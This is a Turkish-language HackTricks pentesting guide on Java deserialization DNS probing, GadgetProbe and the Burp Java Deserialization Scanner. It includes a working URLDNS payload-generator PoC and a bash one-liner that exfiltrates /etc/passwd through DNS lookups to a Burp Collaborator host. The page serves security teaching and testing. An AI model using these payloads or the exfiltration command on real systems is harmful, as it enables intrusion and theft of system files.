hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md

213 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Java DNS Deserialization, GadgetProbe ve Java Deserialization Scanner
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Deserialization'da DNS isteği
`java.net.URL` sınıfı `Serializable`'ı uygular, bu da bu sınıfın serileştirilebileceği anlamına gelir.
```java
public final class URL implements java.io.Serializable {
```
Bu sınıfın **meraklı bir davranışı** var. Belgede: “**İki ana bilgisayar, her iki ana bilgisayar adı da aynı IP adreslerine çözümlenebiliyorsa eşdeğer kabul edilir**.”\
Bu nedenle, bir URL nesnesi **`equals`** veya **`hashCode`** fonksiyonlarından **herhangi birini** çağırdığında, IP adresini almak için bir **DNS isteği** **gönderilecektir**.
Bir **URL** nesnesinden **`hashCode`** fonksiyonunu **çağırmak** oldukça kolaydır, bu nesneyi deseralize edilecek bir `HashMap` içine yerleştirmek yeterlidir. Bunun nedeni, `HashMap`'in **`readObject`** fonksiyonunun sonunda bu kodun çalıştırılmasıdır:
```java
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
```
Bu, `HashMap` içindeki her değerle `putVal`'ı **çalıştıracak**. Ancak, daha önemli olan her değerle `hash` çağrısıdır. İşte `hash` fonksiyonunun kodu:
```java
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
```
Gözlemleyebileceğiniz gibi, **deserialization** sırasında bir **`HashMap`** için `hash` fonksiyonu **her nesne ile birlikte** **çalıştırılacak** ve **`hash`** çalıştırılması sırasında **nesnenin** `.hashCode()` **çalıştırılacak**. Bu nedenle, eğer bir **`HashMap`** **içinde** bir **URL** nesnesi **deserialization** ederseniz, **URL nesnesi** `.hashCode()` **çalıştıracaktır**.
Şimdi `URLObject.hashCode()` koduna bir göz atalım:
```java
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
```
Aşağıda görebileceğiniz gibi, bir `URLObject` `.hashCode()` çalıştırdığında `hashCode(this)` olarak çağrılır. Devamında bu fonksiyonun kodunu görebilirsiniz:
```java
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
```
Bir `getHostAddress`'in domaine uygulandığını görebilirsiniz, **bir DNS sorgusu başlatıyor**.
Bu nedenle, bu sınıf **istismar edilebilir** ve **deserialization**'ın mümkün olduğunu **göstermek** veya hatta **bilgi sızdırmak** için **bir DNS sorgusu başlatmak** amacıyla kullanılabilir (bir komut yürütme çıktısını alt alan adı olarak ekleyebilirsiniz).
### URLDNS yük kodu örneği
[URDNS yük kodunu ysoserial'den burada bulabilirsiniz](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Ancak, kodlamayı anlamayı kolaylaştırmak için kendi PoC'mi oluşturdum (ysoserial'den alınan birine dayalı):
```java
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
```
### Daha fazla bilgi
* [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
* Orijinal fikirde commons collections yükü, bir DNS sorgusu gerçekleştirmek için değiştirildi, bu önerilen yöntemden daha az güvenilir, ancak bu gönderi: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
## GadgetProbe
[**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) Burp Suite Uygulama Mağazası'ndan (Extender) indirilebilir.
**GadgetProbe**, sunucunun Java sınıfında bazı **Java sınıflarının var olup olmadığını** anlamaya çalışacak, böylece **eğer** bilinen bir istismara **duyarlı** olup olmadığını bilebilirsiniz.
### Nasıl çalışır
**GadgetProbe**, önceki bölümün aynı **DNS yükünü** kullanacak, ancak DNS sorgusunu çalıştırmadan önce **rastgele bir sınıfı deseralize etmeye** çalışacak. Eğer **rastgele sınıf mevcutsa**, **DNS sorgusu** **gönderilecek** ve GadgetProbe bu sınıfın mevcut olduğunu not edecektir. Eğer **DNS** isteği **asla gönderilmezse**, bu, **rastgele sınıfın başarıyla deseralize edilmediği** anlamına gelir, yani ya mevcut değildir ya da **serileştirilebilir/istismar edilebilir** değildir.
GitHub içinde, [**GadgetProbe bazı kelime listelerine**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) sahiptir ve Java sınıflarının test edilmesi için kullanılabilir.
![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../.gitbook/assets/intruder4 (1) (1).gif>)
### Daha Fazla Bilgi
* [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe)
## Java Deserialization Tarayıcı
Bu tarayıcı Burp Uygulama Mağazası'ndan (**Extender**) **indirilebilir**.\
**Eklenti**, **pasif** ve aktif **yeteneklere** sahiptir.
### Pasif
Varsayılan olarak, **Java serileştirilmiş sihirli baytları** aramak için gönderilen tüm istekleri ve yanıtları **pasif olarak kontrol eder** ve herhangi bir bulursa bir güvenlik açığı uyarısı sunar:
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../.gitbook/assets/image (765).png>)
### Aktif
**Manuel Test**
Bir isteği seçebilir, sağ tıklayıp `DS'ye istek gönder - Manuel Test` seçeneğini tıklayabilirsiniz.\
Ardından, _Deserialization Tarayıcı Sekmesi_ --> _Manuel test sekmesi_ içinde **ekleme noktasını** seçebilirsiniz. Ve **testi başlatın** (Kullanılan kodlamaya bağlı olarak uygun saldırıyı seçin).
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../.gitbook/assets/3-1.png)
Bu "Manuel test" olarak adlandırılsa da, oldukça **otomatikleştirilmiştir**. **Deserialization**'ın **herhangi bir ysoserial yüküne** **duyarlı** olup olmadığını kontrol edecek ve web sunucusunda mevcut olan kütüphaneleri kontrol ederek duyarlı olanları vurgulayacaktır. **Duyarlı kütüphaneleri** kontrol etmek için **Java Sleeps**, **CPU** tüketimi yoluyla **sleeps** veya daha önce bahsedildiği gibi **DNS** kullanarak başlatmayı seçebilirsiniz.
**İstismar**
Duyarlı bir kütüphaneyi tanımladıktan sonra isteği _İstismar Sekmesine_ gönderebilirsiniz.\
Bu sekmede, **enjekte etme noktasını** tekrar **seçmeniz**, oluşturmak istediğiniz **duyarlı kütüphaneyi** ve **komutu** yazmanız gerekir. Ardından, uygun **Saldırı** butonuna basın.
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../.gitbook/assets/4.png)
### Java Deserialization DNS Exfil bilgisi
Yükünüzü aşağıdakine benzer bir şey çalıştıracak şekilde yapın:
```bash
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
```
### Daha Fazla Bilgi
* [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/)
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}